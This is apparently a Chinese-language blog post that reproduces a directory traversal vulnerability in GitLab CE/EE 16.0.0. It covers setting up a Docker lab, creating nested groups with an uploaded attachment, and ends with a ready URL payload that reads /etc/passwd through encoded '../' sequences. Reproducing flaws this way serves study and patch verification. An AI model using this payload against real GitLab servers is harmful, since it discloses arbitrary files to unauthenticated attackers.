Babing
Published on 2024-08-30 / 0 Visits
0
0

G8-1GitLab-目录遍历

G8-1GitLab-目录遍历

漏洞描述:

GitLab 存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。

影响版本:

GitLab CE 16.0.0
GitLab EE 16.0.0

网站图片:

网络测绘:

本地搭建

Docker搭建GitLab CE 16.0.0
拉取镜像

docker pull gitlab/gitlab-ce:16.0.0-ce.0

创建并开启容器

docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0

查看root密码

docker exec -it 容器id /bin/bash







cat /etc/gitlab/initial_root_password

漏洞复现:

前提条件:
需要一个至少嵌套五层以上可公开访问到的group项目 而且存在附件(issus 评论 等)
或普通用户权限 手动创建 多层group和项目


一直循环以上操作嵌套5个以上(我这边创建了9个)

然后在group9个下面创建个项目


项目下面创建一个issues,并上传一个附件(我这边上传了一个txt文件 )


可以看到,回显了上传路径,拼接路径尝试访问附件
回显了文件内容,构造payload读取任意文件

http://your-ip/group1/group2/group3/group4/group5/group6/group7/group8/group9/123/uploads/dde0c86647fa452e76b94c9588d7fcbb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


Comment